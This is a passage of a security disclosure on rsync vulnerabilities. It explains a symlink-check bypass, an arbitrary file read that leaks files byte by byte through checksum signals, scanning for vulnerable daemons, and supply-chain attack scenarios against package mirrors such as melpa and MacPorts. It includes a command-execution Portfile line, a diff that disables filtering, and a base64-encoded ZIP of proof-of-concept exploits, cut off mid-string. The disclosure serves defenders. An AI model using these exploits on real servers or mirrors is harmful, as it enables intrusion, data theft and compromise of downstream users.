considered safe as it still points within the destination directory: {DESTINATION}/foo -> a/b/c/d/e/f/../../ This function can be bypassed as it does not consider if the destination of a symbolic link contains other symbolic links in the path. For example, take the following two symbolic links: {DESTINATION}/a -> . {DESTINATION}/foo -> a/a/a/a/a/a/../../ In this case, foo would actually point outside the destination directory. However, the unsafe_symlink() function assumes that a/ is a directory and that the symbolic link is safe. -- 2.6.3 - Arbitrary File Read When the server sends instructions for receiving a file to the receiver, it provides the client with an index into the file list(s). The corresponding entry is then created. Additionally, it will send a few flags that alter the behaviour of the file download. We mentioned previously that the server receives a list of checksums, each checksum related to a chunk of the file which is currently synchronized. We established that in simplified terms, the server sends the client instructions on which chunks to keep and which to update. The flags the server sends tell the client how to update the file. The client needs to know if it should overwrite the file in place or first create a copy and then replace the old version, for example. The server can set the flags ITEM_BASIS_TYPE_FOLLOWS and ITEM_XNAME_FOLLOWS, which tells the client to read matching chunks from an existing file and which file to read from. By default, there are no checks done on the xname that the server sends. The flag sanitize_paths, which causes sanitize_path() to sanitize xname, is off for clients: if (iflags & ITEM_XNAME_FOLLOWS) { if ((len = read_vstring(f_in, buf, MAXPATHLEN)) < 0) exit_cleanup(RERR_PROTOCOL); if (sanitize_paths) { sanitize_path(buf, buf, "", 0, SP_DEFAULT); len = strlen(buf); } } When the server sets the comparison type to FNAMECMP_FUZZY and provides an xname, the attacker can fully control the fnamecmp variable: case FNAMECMP_FUZZY: if (file->dirname) { pathjoin(fnamecmpbuf, sizeof fnamecmpbuf, file->dirname, xname); fnamecmp = fnamecmpbuf; } else fnamecmp = xname; break; Control over this variable allows us to open any file as the compare file: fd1 = do_open(fnamecmp, O_RDONLY, 0); The compare file is used in the call to receive_data(), which handles the aforementioned instructions, or as they are called in the function tokens, received by the server. Tokens are then read from the server with a negative value, indicating thatthe client should read the data from the compare file. while ((i = recv_token(f_in, &data)) != 0) { ..snip.. if (i > 0) { ..snip.. } ..snip.. if (fd != -1 && map && write_file(fd, 0, offset, map, len) != (int)len) Once recv_token() returns 0, which indicates the end of the synchronization, the client calculates a final checksum. This checksum is calculated for the entire file contents and compared with a checksum received by the server. They are compared as a final sanity check that the transfer worked: if (fd != -1 && memcmp(file_sum1, sender_file_sum, xfer_sum_len) != 0) return 0; If receive_data() returns 0, it indicates to the receiver that an error has occurred. Upon the first error, a MSG_REDO is sent from the receiver process to the generator process. switch (recv_ok) { ..snip.. case 0: { ..snip.. if (!redoing) { if (read_batch) flist_ndx_push(&batch_redo_list, ndx); send_msg_int(MSG_REDO, ndx); file->flags |= FLAG_FILE_SENT; Receiving a MSG_REDO causes the generator to send a message to the server telling it to resend the file. If the checksums match, no message is sent from the generator to the server. A malicious server is able to use this as a signal determine if the checksum they sent matches the checksum generated from the compare file they're targeting. Recall that the server controls blength and count in receive_sums. By starting off with a blength and count of 1, the server can send 256 files, each with only 1 byte. If the server responds, we know the checksum failed and the guess was wrong. If the server doesn't respond, then we've determined the value of that byte. On the next iteration, the server increases the blength by 1 and sends 256 files again, this time with the proper first byte, but different 2nd bytes. They repeat this process until they've leaked the target amount of bytes. -- 3 - Supply Chain Attack Scenarios The Remote-Code-Execution can be exploited reliably in default configurations. Attackers can use the infoleak to fingerprint the version of Rsync and the environment it runs in, and prepare an exploit accordingly. Also, Rsync daemons run in a fork() loop. Even if one exploit attempt fails, it can be retried multiple times. As such, these vulnerabilities could have been potentially mass-exploited. In October of 2024, we performed a shodan.io scan for exposed Rsync instances that yielded almost 550,000 instances. We will discuss how we identified a vulnerable server in the next section. Fortunately (and ironically) most exposed servers were not running with the latest version installed. Thus, only a subset of these servers were vulnerable to exploitation at the time. Beyond exploiting vulnerable servers and gaining an initial foothold into internal infrastructure, a compromised Rsync daemon opens the door to supply chain attacks. Rsync is typically deployed alongside HTTP or FTP services that host package mirrors, meaning an attacker who controls it can surreptitiously inject malicious payloads into downstream software updates. In the following sections, we will explore how attackers may find vulnerable servers and what kind of supply chain attacks they could launch -- 3.0.0 - Finding vulnerable servers When a client connects to a Rsync daemon, the daemon sends a greeting line. This line contains the string "@RSYNCD:"followed by the protocol version of the server. An example might be: @RSYNCD: 31.0 By simply searching for the @RSYNCD: string on shodan.io, we can find all the publicly exposed Rsync daemons. However, more information is needed to determine whether a server is vulnerable or not. Commit 7e2711b [13], which was first released in the same version that introduced the memory corruption vulnerabilities, also changed the daemon greeting message: get_default_nno_list(&valid_auth_checksums, tmpbuf, MAX_NSTR_STRLEN, '\0'); io_printf(f_out, "@RSYNCD: %d.%d %s\n", protocol_version, our_sub, tmpbuf); The snippet above shows that in addition to the previous greeting format, a list of supported digest algorithms is printed. For a vulnerable server, the list may look something like: @RSYNCD: 31.0 sha512 sha256 sha1 md5 md4 The daemon greeting message provides us with all the information required to determine whether an instance runs with the vulnerable code. However, it does not tell us if authentication is required or if the instance allows anonymous read access. Given the knowledge about the daemon greeting message, we can refine the shodan.io query above and come up with ~18,000 servers that were vulnerable when we performed these scans in October of 2024. This scan was made before a patch was available for the vulnerabilities, therefore we can determine that these servers were vulnerable. A package maintainer could disable SHA hash support at compile time, however SHA would not appear in the server greeting. There are no other configuration options of which we are aware that can prevent the vulnerability from triggering. Amongst the patches for the reported vulnerabilities was an increase in the protocol version: make it easier to spot unpatched servers --- rsync.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/rsync.h b/rsync.h index b9a7101a..9be1297b 100644 --- a/rsync.h +++ b/rsync.h @@ -111,7 +111,7 @@ /* Update this if you make incompatible changes and ALSO update the * SUBPROTOCOL_VERSION if it is not a final (official) release. */ -#define PROTOCOL_VERSION 31 +#define PROTOCOL_VERSION 32 /* This is used when working on a new protocol version or for any * unofficial protocol tweaks. It should be a non-zero value for * each pre-release repo -- 2.34.1 The protocol version was explicitly changed to make scanning for vulnerable servers easier for defenders. -- 3.1.0 - Disclaimer and Assumptions We Make In the following sections, we present case studies of Rsync servers that were likely vulnerable at the time of writing. We speculate about potential attacks a hypothetical attacker could have launched by compromising these systems. However, because we never exploited these issues on servers for which we did not have permission, it is difficult to verify whether some assumptions are correct in individual cases. We assume that: * When Rsync and HTTP(S) traffic are served by the same domain (e.g. example.com), we assume that both processes run on the same backend server(s). We have no way of knowing backend infrastructure. It may, for example, be possible that rsync traffic is routed to a different backend server by a reverse proxy. * The attackers are in possession of kernel exploits that allow them to escalate privileges on an updated Linux server, even with some hardening. The exploit facilitates cross-process interaction between e.g. rsync and HTTP(S) servers. We have seen such exploits regularly in kCTF [14][15]. * The servers found by the aforementioned server-greeting method are vulnerable and exploitable. At the time of writing this document, no patch to these vulnerabilities was available for Rsync. -- 3.2.0 - Precedent In 2003, a Gentoo mirror was believed to be compromised [16] through an Rsync heap buffer overflow. The forensic analysis revealed that the most likely scenario was that an attacker used a Rsync vulnerability to execute arbitrary code, and then used a kernel exploit to gain root access and install a root-kit. From various LWN articles, it looks like someone compromised Debian [17] servers, the Linux kernel CVS [18], and the Savannah CVS [19]. All of this happened the same year. While we don't have any evidence to support this, it may be possible that an organized actor has targeted distribution infrastructure in similar ways that we outline here. -- 3.3.0 - Attack Scenario: Missing Signatures While it is not common, there are still package managers that make signing packages optional. This becomes an issue when an attacker can compromise the official download server of the package manager or mirrors of it. There is nothing preventing an attacker from simply serving malicious files. The following section will provide a case-study about melpa.org, a popular Emacs Package Archive. -- 3.3.1 - melpa.org Compromised Mirror Can Serve Backdoored Packages Melpa is a popular Emacs Package Archive providing an alternative to elpa.gnu.org, which is used by default in Emacs. According to its website [20], it serves almost 6000 packages which have been downloaded a total of 372,988,308 times at the time of writing. While melpa.org provides more package flexibility, it does not sign packages [21] before making them available to download from its official server. The project's GitHub README.md [22] does warn users that it is not responsible for the contents of unofficial mirrors. However, if any of the official mirrors using Rsync to synchronize packages is ever compromised, nothing is standing in the way of an attacker backdooring the packages. To confirm that there were no further conditions or constraints on an attacker launching a supply chain attack from a compromised mirror server, we set up a local mirror with a backdoored version of the dash [23] package, which is the most downloaded package from melpa.org. We were able to execute arbitrary code without any constraints. -- 3.4.0 - Attack Scenario: Exploiting Client-Side Vulnerabilities to Bypass Signature Validation We considered other potential attacks against package managers that validate signatures yet handle downloaded files in insecure ways that can lead to client-side remote code execution—for example, arbitrary file-write vulnerabilities. In the following section, we will examine a case study of CVE-2024-11681 in MacPorts. -- 3.4.1.0 - MacPorts RCE When Syncing from Compromised Mirror MacPorts [24] is a package manager for MacOS. Like other package managers, such as APT [25], users periodically update the list of available packages, their versions, checksums, and so on. They do this by either running port sync or, preferably, port selfupdate. Under the hood, the client then uses rsync to download a ports.tar.gz archive and its corresponding signature file, ports.tar.gz.rmd160. The MacPorts client then verifies the signatures or discards the archive if verification fails. If the signature is valid, the ports.tar.gz file is extracted into the same directory that rsync used as its target, creating a directory structure like the following: total 34776 drwxr-xr-x 3 root root 4096 ... 13:37 . drwxr-xr-x 3 root root 4096 ... x 13:37 .. drwxr-xr-x 4 500 505 4096 ... x 13:37 ports -rw-r--r-- 1 root root 35593472 ... x 13:37 ports.tar.gz -rw-r--r-- 1 root root 512 ... x 13:37 ports.tar.gz.rmd160 The ports directory is essentially an up-to-date version of the macports/macports-ports [26] GitHub repository. Each Port contains a Portfile [27] within this directory structure. These files are written in Tcl [28] and inform the MacPorts client about the name of the Port, dependencies, how to build the Port, and more. Once the archive is extracted, the MacPorts client attempts to fetch an index of all the Ports from the same Rsync server (which is also signed) or if it's not served or is outdated, creates its own index using the portindex [29] binary. This helper finds all the Portfile files within ports and evaluates them. When evaluated, a Portfile can instruct the client to execute arbitrary system commands, for example: set x [exec "bash" "-c" "id > /tmp/poc"] We can verify that this works if we create a file called ports/foo/bar/Portfile containing the above snippet, then run the portindex binary in the ports directory: uid=0(root) gid=0(wheel) groups=0(wheel), snip The question now becomes, how can an attacker place a controlled Portfile on the client's machine, when the archive is signed? We will answer this question in the next section. -- 3.4.1.1 - Creating Arbitrary Portfiles on Clients Machine from a Compromised Mirror We previously mentioned that the client uses Rsync to fetch the ports.tar.gz file from its configured mirror(s). The important detail here is that, the target directory of rsync and the target in which portindex are run, are the same. In theory, a malicious server could serve a valid, signed archive and additional Portfiles. The client blocks this attack by running a second, tightly scoped rsync command that fetches only the package index and its signature: /usr/bin/rsync \ -rtzvl \ --delete-after \ --include=/PortIndex.rmd160 \ --include=/PortIndex \ --exclude=* \ rsync://localhost:12000/macports/PortIndex_linux_5_i386/ The important flags here are: * --include=PortIndex.rmd160 * --include=PortIndex * --exclude=* This instructs the Rsync client to only fetch PortIndex and PortIndex.rmd160 and reject everything else. The problem here is that in some Rsync implementations and versions (described in more detail below) these filters are only enforced on the server-side. We compiled rsync.samba.org's server version with a single change that ignores all filters sent by the client: diff --git a/exclude.c b/exclude.c index 87edbcf7..05028469 100644 --- a/exclude.c +++ b/exclude.c @@ -1436,7 +1436,7 @@ void parse_filter_str( \ filter_rule_list *listp, const char *rulestr, } } - add_rule(listp, pat, pat_len, rule, xflags); +// add_rule(listp, pat, pat_len, rule, xflags); if (new_rflags & FILTRULE_CVS_IGNORE && !(new_rflags & FILTRULE_MERGE_FILE)) As a result, the server can simply create a ports/foo/bar/Portfile file on the client's machine. We confirmed that this worked with openrsync [30] 2.6.9, the default rsync binary for MacOS at the time of writing. It should also work for rsync.samba.org Rsync versions before commit b7231c7 [31], which was first released with 3.2.5. -- 3.5.0 - Attack scenario: Attacking CI/CD Infrastructure In the final supply chain attack scenario section, we will discuss other ways of launching supply chain attacks, namely by attacking the CI/CD infrastructure of package managers directly. -- 3.5.1.0 - Attacking Rsync Servers Alongside Critical Services We found tens of thousands of vulnerable Rsync servers. It is reasonable to assume compromising a server could serve as an initial foothold into a company's internal infrastructure. To avoid speculation and to demonstrate Rsync often sits runs alongside critical services, we focus on an upstream Git server that exposes an Rsync server on the same domain. If an attacker can escalate their access from Rsync to full control over the Git instance, they could gain arbitrary write access to the codebase and potentially move laterally through the CI/CD pipeline, for example, by leaking secrets. The organization highlighted here has allowed us to name them. We would like to thank KDE for their commitment to transparency. They issued an advisory immediately and acted quickly to block potential attacks. -- 3.5.1.1 - invent.kde.org KDE is a popular choice for a desktop environment and comes installed by default in some distributions [32] like Kubuntu and Fedora KDE. KDE's website also documents [33] hardware that comes with KDE installed by default, like the Steam Deck [34]. As in the other cases, we assume that a vulnerable Rsync server is running on invent.kde.org, which also hosts a GitLab instance containing KDE related git repositories: $ nc invent.kde.org 873 @RSYNCD: 31.0 sha512 sha256 sha1 md5 md4 -- 4 - Conclusion Sophisticated attackers with ample resources are willing to invest years building up trust to launch supply chain attacks, as demonstrated by the xz backdoor case [35]. The SolarWinds [36] supply chain attacks similarly demonstrate how compromising infrastructure can let adversaries insert backdoors into software. In this article, we demonstrated reliably exploitable memory corruption vulnerabilities in a decades old software project that is still deployed on critical servers. We also explored hypothetical supply chain attacks that an attacker could launch by compromising mirror instances. A precedent for such attacks happened 21 years ago, when a Gentoo mirror was compromised [37] using an Rsync 0-day. We believe that relying on signatures to protect against compromised package management servers is not sufficient, as attackers could potentially: * Compromise CI/CD infrastructure directly and introduce backdoors before packages are signed * Use the exploit we described as an entry into a distro's infrastructure and escalate to signing keys * Execute arbitrary code on client machines using client-side vulnerabilities in the package manager's ecosystem * Exploit workflows that do not validate signatures Hardening memory unsafe programs continues to stay relevant, even when other security mechanisms, such as signatures, are present. If the infrastructure allows for it, additional sandboxing and/or virtualization should be used to make attacks harder and keep them contained to Rsync. -- 5 - References [1] https://rsync.samba.org [2] https://forums.gentoo.org/viewtopic.php?t=111779 [3] https://github.com/RsyncProject/rsync/commit/ 0902b52f6687b1f7952422080d50b93108742e53 [4] https://github.com/RsyncProject/rsync/commit/ 0902b52f6687b1f7952422080d50b93108742e53 #diff-f28c2f39e4a7867bfa71ddc1caba524624e4fc43a8e7f858e021342725083e23R985 [5] https://github.com/RsyncProject/rsync/commit/ 42e2b56c4ede3ab164f9a5c6dae02aa84606a6c1 [6] https://support2.windriver.com/index.php?page=cve&on=view&id=CVE-2024- 12084 [7] https://kb.cert.org/vuls/id/952657 [8] https://github.com/RsyncProject/rsync/releases/tag/v3.4.0 [9] https://www.andrew.cmu.edu/course/15-749/READINGS/required/cas/ tridgell96.pdf [10,11] https://github.com/RsyncProject/rsync/commit/ ae16850dc58e884eb9f5cb7f772342b2db28f471 [12] https://azeria-labs.com/heap-exploitation-part-1-understanding-the- glibc-heap-implementation/ [13] https://github.com/RsyncProject/rsync/commit/ 7e2711bb2b4b30bc842dd8670c34a87e2ca0c2df [14] https://google.github.io/kctf/introduction.html [15] https://security.googleblog.com/2023/06/learnings-from-kctf- vrps-42-linux.html [16] https://forums.gentoo.org/viewtopic.php?t=111779 [17] https://lists.debian.org/debian-announce/2003/msg00003.html [18] https://lwn.net/Articles/57135/ [19] https://lwn.net/Articles/64835/ [20] https://melpa.org [21] https://github.com/melpa/melpa/issues/1749 [22] https://github.com/melpa/melpa?tab=readme-ov-file#mirrors [23] https://melpa.org/#/dash [24] https://www.macports.org/ [25] https://en.wikipedia.org/wiki/APT_(software) [26] https://github.com/macports/macports-ports [27] https://guide.macports.org/chunked/reference.html [28] https://www.tcl.tk/about/language.html [29] https://github.com/macports/macports-base/blob/ 12986b1c3e03583896330248e0e5c5a64bb7016b/src/port/portindex.tcl#L1 [30] https://github.com/kristapsdz/openrsync [31] https://github.com/RsyncProject/rsync/commit/ b7231c7d02cfb65d291af74ff66e7d8c507ee871 [32] https://kde.org/distributions/ [33] https://kde.org/hardware/ [34] https://store.steampowered.com/steamdeck/ [35] https://www.invicti.com/blog/web-security/xz-utils-backdoor-supply- chain-rce-that-got-caught/ [36] https://www.sans.org/blog/what-you-need-to-know-about-the-solarwinds- supply-chain-attack/ -- 6 - Proof-of-Concepts The following is a base64 encoded ZIP file that contains multiple PoCs: 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 